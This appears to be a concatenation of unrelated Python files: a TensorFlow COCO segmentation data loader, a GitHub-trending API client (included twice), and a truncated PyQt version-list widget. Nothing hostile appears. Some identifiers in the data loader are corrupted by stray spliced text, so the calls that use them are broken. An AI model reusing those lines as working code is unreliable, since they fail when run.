= image_generator.flow_from_directory(directory=str(data_dir), # batch_size=BATCH_SIZE, # shuffle=True, # target_size=(IMG_HEIGHT, IMG_WIDTH), # classes = list(CLASS_NAMES)) # # image_batch, label_batch = next(train_data_gen) # show_batch(image_batch, label_batch) # data_dir = "dataset/train" # data_dir = pathlib.Path(data_dir) # list_ds = tf.data.Dataset.list_files(str(data_dir/'*.png')) # for f in list_ds.take(5): # print(f.numpy()) # # # Set `num_parallel_calls` so multiple images are loaded/processed in parallel. # labeled_ds = list_ds.map(process_path, num_parallel_calls=AUTOTUNE) # # for image in labeled_ds.take(1): # print("Image shape: ", image.numpy().shape) # # print("Label: ", label.numpy()) # # train_ds = prepare_for_training(labeled_ds) # image_batch = next(iter(train_ds)) # show_batch(image_batch.numpy()) # # data_dir = "dataset/train" # train_ds = create_dataset(data_dir,im_w=None,im_h=None,chn=3,dtype=tf.float32) # data_dir = "dataset/trainannot" # train_lbl_ds = create_dataset(data_dir,im_w=None,im_h=None,chn=1,dtype=tf.uint8) # labeled_ds = tf.data.Dataset.zip((train_ds , train_lbl_ds)) # #labeled_ds = train_ds.zip(train_lbl_ds) # #labeled_ds = tf.data.Dataset.from_tensor_slices([train_ds,train_lbl_ds]) # for im ,lbl in labeled_ds.take(2): # print("Image shape: ", im.numpy().shape) # print("Label: ", lbl.numpy().shape) # # #labeled_ds = # ## A one-shot iterator automatically initializes itself on first use. ##iterator = dset.make_one_shot_iterator() # # # The return value of get_next() matches the dataset element type. # images, labels = next(iter(labeled_ds)) # show_img_lbl(images,labels)
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Mon Oct 14 18:23:18 2019 @author: ddd """ import tensorflow as tf #tf.enable_eager_execution() AUTOTUNE = tf.data.experimental.AUTOTUNE from pycocotools.coco import COCO #import IPython.display as display #from PIL import Image import numpy as np import matplotlib.pyplot as plt import pathlib import os def show_batch(image_batch, label_batch=""): plt.figure(figsize=(10,10)) for n in range(25): ax = plt.subplot(5,5,n+1) plt.imshow(image_batch[n]) #plt.title(CLASS_NAMES[label_batch[n]==1][0].title()) plt.axis('off') plt.show() def process_path(file_path): #label = get_label(file_path) # load the raw data from the file as a string img = tf.io.read_file(file_path) img = decode_img(img) #return img, label return img def show_img_lbl(image_batch, label_batch): plt.figure(figsize=(10,10)) ax = plt.subplot(1,2,1) plt.imshow(image_batch) plt.axis('off') plt.subplot(1,2,2) plt.imshow(label_batch[:,:,0]) #plt.title(CLASS_NAMES[label_batch[n]==1][0].title()) plt.axis('off') plt.show() def prepare_for_training(ds, batch_size=1, cache=None, shuffle_buffer_size=100): # This is a small dataset, only load it once, and keep it in memory. # use `.cache(filename)` to cache preprocessing work for datasets that don't # fit in memory. #ds = ds.repeat() if cache: if isinstance(cache, str): ds = ds.cache(cache) else: ds = ds.cache() ds = ds.batch(batch_size) #ds = ds.shuffle(buffer_size=shuffle_buffer_size) # Repeat forever #ds = ds.batch(batch_size) # `prefetch` lets the dataset fetch batches in the background while the model # is training. ds = ds.prefetch(buffer_size=AUTOTUNE) return ds def median_frequency_balancing(image_files='', num_classes=12): ''' Perform median frequency balancing on the image files, given by the formula: f = Median_freq_c / total_freq_c where median_freq_c is the median frequency of the class for all pixels of C that appeared in images and total_freq_c is the total number of pixels of c in the total pixels of the images where c appeared. INPUTS: - image_files(list): a list of image_filenames which element can be read immediately - num_classes(int): the number of classes of pixels in all images OUTPUTS: - class_weights(list): a list of class weights where each index represents each class label and the element is the class weight for that label. ''' #Initialize all the labels key with a list value label_to_frequency_dict = {} for i in range(num_classes): label_to_frequency_dict[i] = [] for n in range(len(image_files)): image = imageio.imread(image_files[n]) #For each image sum up the frequency of each label in that image and append to the dictionary if frequency is positive. for i in range(num_classes): class_mask = np.equal(image, i) class_mask = class_mask.astype(np.float32) class_frequency = np.sum(class_mask) if class_frequency != 0.0: label_to_frequency_dict[i].append(class_frequency) class_weights = [] #Get the total pixels to calculate total_frequency later total_pixels = 0 for frequencies in label_to_frequency_dict.values(): total_pixels += sum(frequencies) for i, j in label_to_frequency_dict.items(): j = sorted(j) #To obtain the median, we got to sort the frequencies median_frequency = np.median(j) / sum(j) total_frequency = sum(j) / total_pixels median_frequency_balanced = median_frequency / total_frequency class_weights.append(median_frequency_balanced) #Set the last class_weight to 0.0 as it's the background class class_weights[-1] = 0.0 return class_weights def process_img_from_path(file_path,im_w=None,im_h=None,chn=3,dtype=tf.float32, ns=None, reshape=1): #label = get_label(file_path) # load the raw data from the file as a string img = tf.io.read_file(file_path) img = tf.image.decode_jpeg(img, channels=chn) if im_w is not None: #img = tf.image.resize_with_pad(img, [im_w, im_h], method=tf.image.ResizeMethod.NEAREST_NEIGHBOR) img = tf.image.resize(img, [im_w, im_h], method=tf.image.ResizeMethod.NEAREST_NEIGHBOR) img = tf.image.convert_image_dtype(img, dtype) if ns is not None: shape = img.shape img = tf.one_hot(indices=img, depth=ns) img = tf.reshape(img, (shape[0], shape[1], ns)) if reshape: img = tf.reshape(img, (-1, ns) ) return img def y2w(onehot_lbls,w=None): if w is None: return 1. weights = onehot_lbls * w weights = tf.reduce_sum(weights, -1) return weights def flip_data(x,y): #x,y = d if tf.random.uniform([],0,2,dtype="int32") > 0: #x = tf.image.flip_left_right(x) #y = tf.image.flip_left_right(y) x = tf.reverse(x,[0]) y = tf.reverse(y,[0]) if tf.random.uniform([],0,2,dtype="int32") > 0: x = tf.reverse(x,[1]) y = tf.reverse(y,[1]) return (x,y) def get_labeled_dataset(data_dir, file, im_w=None,im_h=None, num_classes=12, reshape=1, class_w=None): lbl_data_dir = data_dir+"annot" data_dir = pathlib.Path(data_dir) lbl_data_dir = pathlib.Path(lbl_data_dir) x = f"{data_dir}/{file}" y = f"{lbl_data_dir}/{file}" x = process_img_from_path(x, im_w=im_w,im_h=im_h,chn=3,dtype=tf.float32) y = process_img_from_path(y, im_w=im_w,im_h=im_h,chn=1,dtype=tf.uint8, ns=num_classes,reshape=reshape) return x,y def create_dataset_new(data_dir,im_w=None,im_h=None, num_classes=12, reshape=1, class_w=None, data_transform=1): lbl_data_dir = data_dir+"annot" lbl_data_dir = pathlib.Path(lbl_data_dir) lbl_file_names = [f.name for f in pathlib.Path(lbl_data_dir).glob("*.png")] labeled_ds = tf.data.Dataset.list_files( lbl_file_names) process_lbl_ds_path = lambda f : get_labeled_dataset(data_dir=data_dir, file=f, im_w=im_w,im_h=im_h, num_classes=num_classes, reshape=reshape, class_w=class_w) labeled_ds = labeled_ds.map(process_lbl_ds_path, num_parallel_calls=AUTOTUNE) return labeled_ds def get_coco_sup_cat_map(): return { 'background': 0, 'electronic': 1, 'appliance': 2, 'sports': 3, 'kitchen': 4, 'indoor': 5, 'animal': 6, 'food': 7, 'furniture': 8, 'person': 9, 'accessory': 10, 'outdoor': 11, 'vehicle': 12} def get_coco_sup_cat_id(coco,id) : map = get_coco_sup_cat_map() return map[coco.loadCats([id])[0]['supercategory']] def get_coco_classes_nmber(): cat_map = get_coco_sup_cat_map() return len(cat_map.keys()) def validate_coco_imgs(imgIds,coco,data_dir): for imId in imgIds: im_file = coco.loadImgs([imId])[0]['file_name'] im_file = f'{data_dir}/{im_file}' # wrong lbl_file = f'{data_dir}_annotImg/{im_file}.png' if not os.path.isfile(im_file): imgIds.remove(imId) print(f"removed imId {imId} from {data_dir} ") return imgIds def id_to_img_lbl( img_id=324158, coco=None, data_dir=None): nc = get_coco_classes_nmber() img = coco.loadImgs(img_id)[0] target_shape = (img['height'], img['width'], nc) annIds = coco.getAnnIds(imgIds=img['id'], iscrowd=None) anns = coco.loadAnns(annIds) mask_one_hot = np.zeros(target_shape, dtype=np.uint8) mask_one_hot[:, :, 0] = 1 # every pixel begins as background for ann in anns: mask_partial = coco.annToMask(ann) assert mask_one_hot.shape[:2] == mask_partial.shape[:2] # width and height match chan = get_coco_sup_cat_id(coco, ann['category_id']) mask_one_hot[mask_partial > 0, chan] = 1 mask_one_hot[mask_partial > 0, 0] = 0 return f"{data_dir}/{img['file_name']}", np.array(mask_one_hot) def process_coco_imgs_old(file_path, lbl, im_w=None, im_h=None, dtype=tf.float32, chn=3): #label = get_label(file_path) # load the raw data from the file as a string img = tf.io.read_file(file_path) img = tf.image.decode_jpeg(img, channels=chn) if im_w is not None: #img = tf.image.resize_with_pad(img, [im_w, im_h], method=tf.image.ResizeMethod.NEAREST_NEIGHBOR) img = tf.image.resize(img, [im_w, im_h], method=tf.image.ResizeMethod.NEAREST_NEIGHBOR) lbl = tf.image.resize(lbl, [im_w, im_h], method=tf.image.ResizeMethod.NEAREST_NEIGHBOR) img = tf.image.convert_image_dtype(img, dtype) #lbl = tf.one_hot(indices=img, depth=ns) #img = tf.reshape(img, (shape[0], shape[1], ns)) return img, lbl def process_coco_imgs(data, im_w=None, im_h=None, dtype=tf.float32, chn=3): x_file = data[0] y_file = data[1] nc = get_coco_classes_nmber() img = tf.io.read_file(x_file) #img = tf.image.decode_jpeg(img, channels=chn) img = tf.image.decode_image(img, channels=chn,dtype=dtype) #, expand_animations=False) lbl = tf.io.read_file(y_file) lbl = tf.image.decode_image(lbl, channels=1, dtype='uint8', expand_animations=False) if im_w is not None: img = tf.image.resize_with_pad(img, im_h, im_w, method=tf.image.ResizeMethod.NEAREST_NEIGHBOR) lbl = tf.image.resize_with_pad(lbl, im_h, im_w, method=tf.image.ResizeMethod.NEAREST_NEIGHBOR) #img = tf.image.convert_image_dtype(img, dtype) shape = lbl.shape #lbl = tf.image.convert_image_dtype(lbl, dtype='uint8') lbl = tf.one_hot(indices=lbl, depth=nc, dtype='uint8') lbl = tf.reshape(lbl, (shape[0], shape[1], nc)) return img, lbl #def create_coco_dataset(dataDir='../../cocodataset', dataType='val2017', subdir ='annotations_trainval2017', im_w=256, im_h=256): def create_coco_dataset(dataDir='../../cocodataset', dataType='val2017', im_w=256, im_h=256): subdir ='annotations_trainval2017' annFile=f'{dataDir}/{subdir}/annotations/instances_{dataType}.json' data_dir = f"{dataDir}/{dataType}" coco=COCO(annFile) imgIds = coco.getImgIds(imgIds=[],catIds=[]) imgIds = validate_coco_imgs(imgIds,coco, data_dir=data_dir) imgs = coco.loadImgs(imgIds) files = [f"{img['file_name']}" for img in imgs] #y_files = [ f"{data_dir}_annotImg/{img['file_name']}.png" for img in imgs] data = [(f"{data_dir}/{f}",f"{data_dir}_annotImg/{f}.png") for f in files] np.random.shuffle(data) # x_ds = tf.data.Dataset.list_files( x_files, seed=0 ) # y_ds = tf.data.Dataset.list_files( y_files, seed=0 ) # labeled_ds = tf.data.Dataset.zip( (x_ds,y_ds) ) labeled_ds = tf.data.Dataset.from_tensor_slices(data) labeled_ds =labeled_ds.shuffle(buffer_size=10000) proc_imgs = lambda data : process_coco_imgs( data, im_w=im_w, im_h=im_h) labeled_ds = labeled_ds.map(proc_imgs) return labeled_ds def create_coco_test_set(dataDir='../../cocodataset', dataType='test2017', im_w=256, im_h=256): subdir ='image_info_test2017' annFile=f'{dataDir}/{subdir}/annotations/{subdir}.json' data_dir = f"{dataDir}/{dataType}" coco=COCO(annFile) imgIds = coco.getImgIds(imgIds=[],catIds=[]) imgIds = validate_coco_imgs(imgIds,coco, data_dir=data_dir) imgs = coco.loadImgs(imgIds) files = [f"{img['file_name']}" for img in imgs] #y_files = [ f"{data_dir}_annotImg/{img['file_name']}.png" for img in imgs] data = [(f"{data_dir}/{f}",f"{data_dir}_annotImg/{f}.png") for f in files] # x_ds = tf.data.Dataset.list_files( x_files, seed=0 ) # y_ds = tf.data.Dataset.list_files( y_files, seed=0 ) # labeled_ds = tf.data.Dataset.zip( (x_ds,y_ds) ) labeled_ds = tf.data.Dataset.from_tensor_slices(data) proc_imgs = lambda data : process_coco_imgs( data, im_w=im_w, im_h=im_h) labeled_ds = labeled_ds.map(proc_imgs) return labeled_ds def create_coco_dataset_old(dataDir='../../cocodataset', dataType='val2017', im_w=256, im_h=256): subdir ='annotations_trainval2017' annFile=f'{dataDir}/{subdir}/annotations/instances_{dataType}.json' data_dir = f"{dataDir}/{dataType}" coco=COCO(annFile) imgIds = coco.getImgIds(imgIds=[],catIds=[]) imgIds = validate_coco_imgs(imgIds,coco, data_dir=data_dir) lbled_ds = tf.data.Dataset.from_tensor_slices(imgIds) get_labeld_images = lambda img_id :id_to_img_lbl( img_id=img_id, coco=coco, data_dir=data_dir) lbled_ds = lbled_ds.map(get_labeld_images) proc_imgs = lambda x,y : process_coco_imgs(x,y, im_w=im_w, im_h=im_h) lbled_ds = lbled_ds.map(proc_imgs) return lbled_ds def create_dataset(data_dir,im_w=None,im_h=None, num_classes=12, reshape=1, class_w=None, data_transform=1): lbl_data_dir = data_dir+"annot" data_dir = pathlib.Path(data_dir) lbl_data_dir = pathlib.Path(lbl_data_dir) lbl_file_names = [f.name for f in pathlib.Path(lbl_data_dir).glob("*.png")] #(x_ds, y_ds) = [ (str(data_dir/fname), str(lbl_data_dir/fname) ) for fname in lbl_file_names] x_ds = [ str(data_dir/fname) for fname in lbl_file_names] y_ds = [ str(lbl_data_dir/fname) for fname in lbl_file_names] # for x, y in zip(x_ds,y_ds): # print (x, y) # for x, y in zip(x_ds,y_ds): # f = pathlib.Path(x) # assert f.is_file() # assert pathlib.Path(x).is_file() # print(x, y) x_ds = tf.data.Dataset.list_files(x_ds,seed=0) y_ds = tf.data.Dataset.list_files(y_ds,seed=0) #x_ds = tf.data.Dataset.list_files(str(sorted(pathlib.Path(data_dir).glob("*.png")))) #lbl_data_dir = pathlib.Path(lbl_data_dir) #y_ds = tf.data.Dataset.list_files((str(lbl_data_dir/'*.png'))) process_ds_path = lambda x : process_img_from_path(x, im_w=im_w,im_h=im_h,chn=3,dtype=tf.float32) x_ds = x_ds.map(process_ds_path)#, num_parallel_calls=AUTOTUNE) process_ann_ds_path = lambda x : process_img_from_path(x, im_w=im_w,im_h=im_h,chn=1,dtype=tf.uint8, ns=num_classes,reshape=reshape) y_ds = y_ds.map(process_ann_ds_path) #, num_parallel_calls=AUTOTUNE) # lbls_waights = lambda y : y2w (y,class_w) # w_ds = y_ds.map(lbls_waights, num_parallel_calls=AUTOTUNE) #y_ds.map(lambda y : to_categorical(y, num_classes=num_classes) , num_parallel_calls=AUTOTUNE)train_ds.take(1) #y_ds.map(lambda y : tf.reshape(y,(-1,num_classes))) #y_ds = to_categorical(y_ds,num_classes=num_classes) labeled_ds = tf.data.Dataset.zip((x_ds , y_ds)) if data_transform is not None : labeled_ds = labeled_ds.map(flip_data, num_parallel_calls=AUTOTUNE) # Set `num_parallel_calls` so multiple images are loaded/processed in parallel. return labeled_ds def create_poisson_rand_dataset(data_dir,im_w=None,im_h=None, num_classes=12, reshape=1, class_w=None, data_transform=1): lbl_data_dir = data_dir+"annot" data_dir = pathlib.Path(data_dir) lbl_data_dir = pathlib.Path(lbl_data_dir) lbl_file_names = [f.name for f in pathlib.Path(lbl_data_dir).glob("*.png")] x_ds = [ str(data_dir/fname) for fname in lbl_file_names] y_ds = [ str(lbl_data_dir/fname) for fname in lbl_file_names] x_ds = tf.data.Dataset.list_files(x_ds,seed=0) y_ds = tf.data.Dataset.list_files(y_ds,seed=0) process_ds_path = lambda x : process_img_from_path(x, im_w=im_w,im_h=im_h,chn=3,dtype=tf.float32) x_ds = x_ds.map(process_ds_path)#, num_parallel_calls=AUTOTUNE) process_ann_ds_path = lambda x : process_img_from_path(x, im_w=im_w,im_h=im_h,chn=3,dtype=tf.float32) y_ds = y_ds.map(process_ann_ds_path) #, num_parallel_calls=AUTOTUNE) labeled_ds = tf.data.Dataset.zip((x_ds , y_ds)) return labeled_ds if __name__ == '__main__': # -------- dw = 64 nc=12 data_dir = "dataset/train" train_ds = create_dataset(data_dir,im_w=dw,im_h=dw, num_classes=nc) data_dir = "dataset/val" train_ds = create_dataset(data_dir,im_w=dw,im_h=dw, num_classes=nc,reshape=None) print("!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!1") # data_dir = "dataset/val" # val_ds = create_dataset(data_dir,im_w=dw,im_h=dw, num_classes=nc) # print("-------------!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!1") # #train_ds.concatenate(val_ds) # #train_ds = prepare_for_training(train_ds, batch_size=1, cache=None, shuffle_buffer_size=1000) train_ds = pautoencmodelrepare_for_training(train_ds,batch_size=12,cache=None,shuffle_buffer_size=1000) for im ,lbl in train_ds.take(1): print("Image shape: ", im.numpy().shape) print("Label shape: ", lbl.numpy().shape) # -------- CoCo ---- val_ds = create_coco_dataset() print(val_ds.take(1)) train_ds = create_coco_dataset(dataType='train2017') for im ,lbl in train_ds.take(1): print("Image, Image shape: ", im, im.numpy().shape) print("Lable, Label shape: ", lbl, lbl.numpy().shape) show_img_lbl(im,lbl) #------ test_ds = create_coco_test_set() print(test_ds.take(1)) im = [] lbl = [] lbl3 = [] for im ,lbl in test_ds.take(5): print("Image, Image shape: ", im.numpy().shape) print("Lable, Label shape: ", lbl.numpy().shape) lbl3 =lbl lbl2 = tf.math.argmax(lbl,axis=-1).numpy() plt.figure(figsize=(10,10)) ax = plt.subplot(1,2,1) plt.imshow(im) plt.axis('off') plt.subplot(1,2,2) plt.imshow(lbl2) plt.axis('off') plt.show() #------------------------------ # data_dir = "dataset/train" # #data_dir = tf.keras.utils.get_file(origin='url', fname='flower_photos', untar=True) # data_dir = pathlib.Path(data_dir) # # image_count = len(list(dae_batch.numpy()ta_dir.glob('*.png'))) # # CLASS_NAMES = np.array([item.name for item in data_dir.glob('*') if item.name != "LICENSE.txt"]) # # roses = list(data_dir.glob('roses/*')) # train_ds = create_dataset(data_dir,im_w=dw,im_h=dw, num_classes=nc) # for image_path in roses[:3]: # display.display(Image.open(str(image_path))) # # # The 1./255 is to convert from uint8 to float32 in range [0,1]. # image_generator = tf.keras.preprocessing.image.ImageDataGenerator(rescale=1./255) # # # BATCH_SIZE = 32 # IMG_HEIGHT = 224 # IMG_WIDTH = 224 # STEPS_PER_EPOCH = np.ceil(image_count/BATCH_SIZE) # # train_data_gen = image_generator.flow_from_directory(directory=str(data_dir), # batch_size=BATCH_SIZE, # shuffle=True, # target_size=(IMG_HEIGHT, IMG_WIDTH), # classes = list(CLASS_NAMES)) # # image_batch, label_batch = next(train_data_gen) # show_batch(image_batch, label_batch) # data_dir = "dataset/train" # data_dir = pathlib.Path(data_dir) # list_ds = tf.data.Dataset.list_files(str(data_dir/'*.png')) # for f in list_ds.take(5): # print(f.numpy()) # # # Set `num_parallel_calls` so multiple images are loaded/processed in parallel. # labeled_ds = list_ds.map(process_path, num_parallel_calls=AUTOTUNE) # # for image in labeled_ds.take(1): # print("Image shape: ", image.numpy().shape) # # print("Label: ", label.numpy()) # # train_ds = prepare_for_training(labeled_ds) # image_batch = next(iter(train_ds)) # show_batch(image_batch.numpy()) # # data_dir = "dataset/train" # train_ds = create_dataset(data_dir,im_w=None,im_h=None,chn=3,dtype=tf.float32) # data_dir = "dataset/trainannot" # train_lbl_ds = create_dataset(data_dir,im_w=None,im_h=None,chn=1,dtype=tf.uint8) # labeled_ds = tf.data.Dataset.zip((train_ds , train_lbl_ds)) # #labeled_ds = train_ds.zip(train_lbl_ds) # #labeled_ds = tf.data.Dataset.from_tensor_slices([train_ds,train_lbl_ds]) # for im ,lbl in labeled_ds.take(2): # print("Image shape: ", im.numpy().shape) # print("Label: ", lbl.numpy().shape) # # #labeled_ds = # ## A one-shot iterator automatically initializes itself on first use. ##iterator = dset.make_one_shot_iterator() # # # The return value of get_next() matches the dataset element type. # images, labels = next(iter(labeled_ds)) # show_img_lbl(images,labels)
""" Python library to fetch trending repositories/users using github-trending-api Made by Hedy Li, Code on GitHub """ from typing import Optional, List import requests def fetch_repos( language: str = "", spoken_language_code: str = "", since: str = "daily", ) -> List[dict]: """Fetch trending repositories on GitHub. Parameters: language (str, optional): Filtering by language, eg: python spoken_language_code (str, optional): The spoken language, eg: en for english since (str, optional): The time range, choose from: [daily, weekly, monthly]. Defaults to "daily" Returns: A list of dictionary containing information for the trending repositories found. """ if language and not check_language(language): raise ValueError(f"Invalid language argument: {language}") if spoken_language_code and not check_spoken_language(spoken_language_code): raise ValueError( f"Invalid spoken_language_code argument: {spoken_language_code}" ) if since and not check_since(since): raise ValueError( f"Invalid since argument (must be 'daily', 'weekly' or 'monthly'): {since}" ) url: str = f"https://gtrend.yapie.me/repositories?language={language}&since={since}&spoken_language_code={spoken_language_code}" res = requests.get(url).json() repos = [] for repo in res: repo["fullname"] = f"{repo["author"]}/{repo["name"]}" repo_language = repo.get("language") if language: if not repo_language or repo_language.lower() != language.lower(): continue repos.append(repo) return repos def fetch_developers(language: str = "", since: str = "daily") -> dict: """Fetch trending developers on GitHub. Parameters: language (str, optional): The programming language, eg: python since (str, optional): The time range, choose from [daily, weekly, monthly]. Defaults to "daily" Returns: A list of dictionary containing information for the trending developers found. """ if language and not check_language(language): raise ValueError("Language value does not exist.") if since and not check_since(since): raise ValueError("Since value is not correct.") url: str = f"https://gtrend.yapie.me/developers?language={language}&since={since}" res = requests.get(url).json() return res def languages_list() -> list: """Fetch programming languages. Returns: A list of dictionaries containing languages. """ url: str = "https://gtrend.yapie.me/languages" response = requests.get(url).json() return response def spoken_languages_list() -> list: """Fetch spoken languages. Returns: A list of spoken languages. """ url: str = "https://gtrend.yapie.me/spoken_languages" response = requests.get(url).json() return response def check_language(language: str = "") -> bool: """Check if the language exists. Parameters: language (str): The language, eg: python. Returns: A boolean value. True for valid language, False otherwise. """ languages = languages_list() language = language.lower() for name in languages: if language == name["name"].lower(): return True return False def check_spoken_language(spoken_language_code: str = "") -> bool: """Check if the spoken language exists. Parameters: spoken_language_code (str): The spoken language, eg: en for english. Returns: A boolean value. True for valid spoken language, False otherwise. """ spoken_languages = spoken_languages_list() spoken_language_code = spoken_language_code.lower() for name in spoken_languages: if spoken_language_code == name["urlParam"].lower(): return True return False def check_since(since: str = "") -> bool: """Check if the time range value is correct. Parameters: since (str): The time range. Returns: A boolean value. True for valid parameter, False otherwise. """ return since.lower() in ["daily", "weekly", "monthly"]
""" Python library to fetch trending repositories/users using github-trending-api Made by Hedy Li, Code on GitHub """ from typing import Optional, List import requests def fetch_repos( language: str = "", spoken_language_code: str = "", since: str = "daily", ) -> List[dict]: """Fetch trending repositories on GitHub. Parameters: language (str, optional): Filtering by language, eg: python spoken_language_code (str, optional): The spoken language, eg: en for english since (str, optional): The time range, choose from: [daily, weekly, monthly]. Defaults to "daily" Returns: A list of dictionary containing information for the trending repositories found. """ if language and not check_language(language): raise ValueError(f"Invalid language argument: {language}") if spoken_language_code and not check_spoken_language(spoken_language_code): raise ValueError( f"Invalid spoken_language_code argument: {spoken_language_code}" ) if since and not check_since(since): raise ValueError( f"Invalid since argument (must be 'daily', 'weekly' or 'monthly'): {since}" ) url: str = f"https://gtrend.yapie.me/repositories?language={language}&since={since}&spoken_language_code={spoken_language_code}" res = requests.get(url).json() repos = [] for repo in res: repo["fullname"] = f"{repo['author']}/{repo['name']}" repo_language = repo.get("language") if language: if not repo_language or repo_language.lower() != language.lower(): continue repos.append(repo) return repos def fetch_developers(language: str = "", since: str = "daily") -> dict: """Fetch trending developers on GitHub. Parameters: language (str, optional): The programming language, eg: python since (str, optional): The time range, choose from [daily, weekly, monthly]. Defaults to "daily" Returns: A list of dictionary containing information for the trending developers found. """ if language and not check_language(language): raise ValueError("Language value does not exist.") if since and not check_since(since): raise ValueError("Since value is not correct.") url: str = f"https://gtrend.yapie.me/developers?language={language}&since={since}" res = requests.get(url).json() return res def languages_list() -> list: """Fetch programming languages. Returns: A list of dictionaries containing languages. """ url: str = "https://gtrend.yapie.me/languages" response = requests.get(url).json() return response def spoken_languages_list() -> list: """Fetch spoken languages. Returns: A list of spoken languages. """ url: str = "https://gtrend.yapie.me/spoken_languages" response = requests.get(url).json() return response def check_language(language: str = "") -> bool: """Check if the language exists. Parameters: language (str): The language, eg: python. Returns: A boolean value. True for valid language, False otherwise. """ languages = languages_list() language = language.lower() for name in languages: if language == name["name"].lower(): return True return False def check_spoken_language(spoken_language_code: str = "") -> bool: """Check if the spoken language exists. Parameters: spoken_language_code (str): The spoken language, eg: en for english. Returns: A boolean value. True for valid spoken language, False otherwise. """ spoken_languages = spoken_languages_list() spoken_language_code = spoken_language_code.lower() for name in spoken_languages: if spoken_language_code == name["urlParam"].lower(): return True return False def check_since(since: str = "") -> bool: """Check if the time range value is correct. Parameters: since (str): The time range. Returns: A boolean value. True for valid parameter, False otherwise. """ return since.lower() in ["daily", "weekly", "monthly"]
# coding: utf-8 # Author: Leo BRUNEL # Contact: contact@leobrunel.com # Python modules from PyQt5 import QtWidgets, QtCore, QtGui from PyQt5.QtCore import pyqtSignal import os import time import logging import traceback import copy # Wizard modules from wizard.core import launch from wizard.core import assets from wizard.core import user from wizard.core import project from wizard.core import tools from wizard.core import path_utils from wizard.core import subtasks_library from wizard.vars import ressources from wizard.vars import user_vars from wizard.vars import assets_vars # Wizard gui modules from wizard.gui import gui_utils from wizard.gui import gui_server from wizard.gui import confirm_widget from wizard.gui import drop_files_widget from wizard.gui import comment_widget from wizard.gui import batch_settings_widget logger = logging.getLogger(__name__) class versions_widget(QtWidgets.QWidget): version_changed_signal = pyqtSignal(str) def __init__(self, parent=None): super(versions_widget, self).__init__(parent) self.work_env_id = None self.versions_rows = None self.version_list_ids = dict() self.version_icon_ids = dict() self.check_existence_thread = check_existence_thread() self.search_thread = search_thread() self.icon_mode = 0 self.list_mode = 1 self.build_ui() self.connect_functions() self.show_info_mode("Select or create a stage\nin the project tree !", ressources._select_stage_info_image_) def dragEnterEvent(self, event): self.drop_widget.setVisible(1) event.accept() def dragLeaveEvent(self, event): self.drop_widget.setVisible(0) event.accept() def dropEvent(self, event): self.drop_widget.setVisible(0) data = event.mimeData() urls = data.urls() files = [] for url in urls: if url and url.scheme() == 'file': path = str(url.path())[1:] files.append(path) if len(files) != 0: self.merge_files(files) def focus_work_version(self, work_version_id): if self.icon_mode: ids = self.version_icon_ids view = self.icon_view else: ids = self.version_list_ids view = self.list_view if work_version_id in ids.keys(): item = ids[work_version_id] view.scrollToItem(item) view.setCurrentItem(item) def open_files(self): options = QtWidgets.QFileDialog.Options() fileList, _ = QtWidgets.QFileDialog.getOpenFileNames(self, "Select files", "", "All Files (*);", options=options) if fileList: self.merge_files(fileList) def merge_files(self, files=[]): for file in files: assets.merge_file(file, self.work_env_id, "Manually merged file", 0) gui_server.refresh_team_ui() def change_work_env(self, work_env_id): self.check_existence_thread.running = False self.version_list_ids = dict() self.version_icon_ids = dict() self.list_view.clear() self.icon_view.clear() self.work_env_id = work_env_id self.refresh_camera_button() self.refresh() def refresh_camera_button(self): if self.work_env_id: stage = assets.get_stage_data_from_work_env_id(self.work_env_id, 'name') if stage in assets_vars._camera_export_stages_: self.batch_camera_button.setVisible(True) else: self.batch_camera_button.setVisible(False) else: self.batch_camera_button.setVisible(False) def show_info_mode(self, text, image): self.views_widget.setVisible(0) self.info_widget.setVisible(1) self.info_widget.setText(text) self.info_widget.setImage(image) self.setAcceptDrops(False) def hide_info_mode(self): self.info_widget.setVisible(0) self.views_widget.setVisible(1) self.setAcceptDrops(True) def refresh(self): start_time = time.time() if self.isVisible(): self.refresh_list_view() self.refresh_icons_view() self.update_search() self.update_refresh_time(start_time) def update_refresh_time(self, start_time): refresh_time = str(round((time.time()-start_time), 3)) self.refresh_label.setText(f"- refresh : {refresh_time}s") def refresh_list_view(self): if self.list_mode: if self.work_env_id is not None and self.work_env_id != 0: software_name = project.get_work_env_data(self.work_env_id, 'name') software_icon = QtGui.QIcon(ressources._sofwares_icons_dic_[software_name]) self.versions_rows = project.get_work_versions(self.work_env_id) project_versions_id = [] if self.versions_rows is not None: self.hide_info_mode() for version_row in self.versions_rows: project_versions_id.append(version_row['id']) if version_row['id'] not in self.version_list_ids.keys(): version_item = custom_version_tree_item(version_row, software_icon, self.list_view.invisibleRootItem()) self.version_list_ids[version_row['id']] = version_item else: self.version_list_ids[version_row['id']].refresh(version_row) version_list_ids = list(self.version_list_ids.keys()) for version_id in version_list_ids: if version_id not in project_versions_id: self.remove_tree_version(version_id) self.check_existence_thread.update_versions_rows(self.versions_rows) elif self.work_env_id is None: self.show_info_mode("Init the work environment\nto create the first version !", ressources._init_work_env_info_image_) else: self.show_info_mode("Select or create a stage\nin the project tree !", ressources._select_stage_info_image_) self.refresh_infos() def refresh_icons_view(self): if self.icon_mode: if self.work_env_id is not None and self.work_env_id != 0: self.versions_rows = project.get_work_versions(self.work_env_id) project_versions_id = [] if self.versions_rows is not None: self.hide_info_mode() for version_row in self.versions_rows: project_versions_id.append(version_row['id']) if version_row['id'] not in self.version_icon_ids.keys(): version_item = custom_version_icon_item(version_row) self.icon_view.addItem(version_item) self.version_icon_ids[version_row['id']] = version_item version_icon_ids = list(self.version_icon_ids.keys()) for version_id in version_icon_ids: if version_id not in project_versions_id: self.remove_icon_version(version_id) self.check_existence_thread.update_versions_rows(self.versions_rows) elif self.work_env_id is None: self.show_info_mode("Init the work environment\nto create the first version !", ressources._init_work_env_info_image_) else: self.show_info_mode("Select or create a stage\nin the project tree !", ressources._select_stage_info_image_) self.refresh_infos() def missing_file(self, version_id): if self.list_mode: if version_id in self.version_list_ids.keys(): self.version_list_ids[version_id].set_missing() elif self.icon_mode: if version_id in self.version_icon_ids.keys(): self.version_icon_ids[version_id].set_missing() def not_missing_file(self, version_id): if self.list_mode: if version_id in self.version_list_ids.keys(): self.version_list_ids[version_id].set_not_missing() elif self.icon_mode: if version_id in self.version_icon_ids.keys(): self.version_icon_ids[version_id].set_not_missing() def hide_all(self): if self.list_mode: for version_id in self.version_list_ids.keys(): self.version_list_ids[version_id].setHidden(True) elif self.icon_mode: for version_id in 